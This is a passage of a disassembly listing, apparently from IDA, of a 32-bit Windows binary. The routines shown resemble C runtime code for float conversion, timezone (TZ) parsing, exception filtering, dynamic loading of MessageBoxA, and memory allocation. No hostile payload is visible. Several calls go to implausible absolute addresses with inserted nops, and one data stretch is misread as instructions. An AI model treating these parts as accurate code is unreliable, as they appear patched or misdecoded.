ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC78 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC90 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB470 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB498, eax add esp, 18h movsx eax, byte_4DB472 mov dword_4DB490, eax pop edi movsx eax, word_4DB470 mov dword_4DB494, eax mov dword_4DB49C, offset dword_4DB474 mov eax, offset dword_4DB490 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8B8o ; ___:0043D118o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4A0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4A0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add al, ch ffree st(7) sbb al, 2 nop mov dword_4DB4A0, eax retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4A035h, 0CAE89000h, 0C3021CC7h ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 25F0AEDh nop test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 289093Bh nop test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25F0A84h test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB560, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB560 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4A8, ebp mov dword_43CD50, ebx mov dword_43CD40, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4B0 nop call near ptr 2850000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4B0 mov ecx, dword_4DB504 imul eax, 3Ch cmp word_4DB4F6, bp push 1 pop edx mov dword_43CCA8, eax mov dword_4DB4A8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCA8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB54A, bp jz short loc_424887 mov eax, dword_4DB558 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCAC, edx imul eax, 3Ch mov dword_43CCB0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCAC, ebp mov dword_43CCB0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD34 push ebx push offset dword_4DB4B4 push edi push dword_4DB344 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD34 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD34 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD38 push ebx push offset dword_4DB508 push edi push dword_4DB344 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD38 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB55C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB55C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB55C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD34 call sub_41B5F0 mov eax, off_43CD34 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCA8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCA8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCAC, eax jz short loc_424A3C push 3 push esi push off_43CD38 call sub_41B5F0 mov eax, off_43CD38 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD38 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCAC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD40 jnz short loc_424A7C cmp eax, dword_43CD50 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4A8, edi jz loc_424B54 movzx ecx, word_4DB556 push ecx cmp word_4DB548, di movzx ecx, word_4DB554 push ecx movzx ecx, word_4DB552 push ecx movzx ecx, word_4DB550 push ecx jnz short loc_424ACE movzx ecx, word_4DB54C push edi push ecx movzx ecx, word_4DB54E push ecx movzx ecx, word_4DB54A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB54E push ecx push edi movzx ecx, word_4DB54A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB502 add esp, 2Ch cmp word_4DB4F4, di push eax movzx eax, word_4DB500 push eax movzx eax, word_4DB4FE push eax movzx eax, word_4DB4FC push eax jnz short loc_424B3C movzx eax, word_4DB4F8 push edi push eax movzx eax, word_4DB4FA push eax movzx eax, word_4DB4F6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB4FA push eax push edi movzx eax, word_4DB4F6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD44 mov eax, dword_43CD54 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD48 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD58 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD58[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CD8C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD5C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CD90[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD58[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CD8C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD44, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD40, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD48, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD54, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCB0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD58, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD58, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD58, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD54, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD50, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC7E1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C302[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB564, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 2680BAAh mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB564, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB568, eax call esi mov dword_4DB56C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB568 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB56C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB564 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC900 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C2F4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj 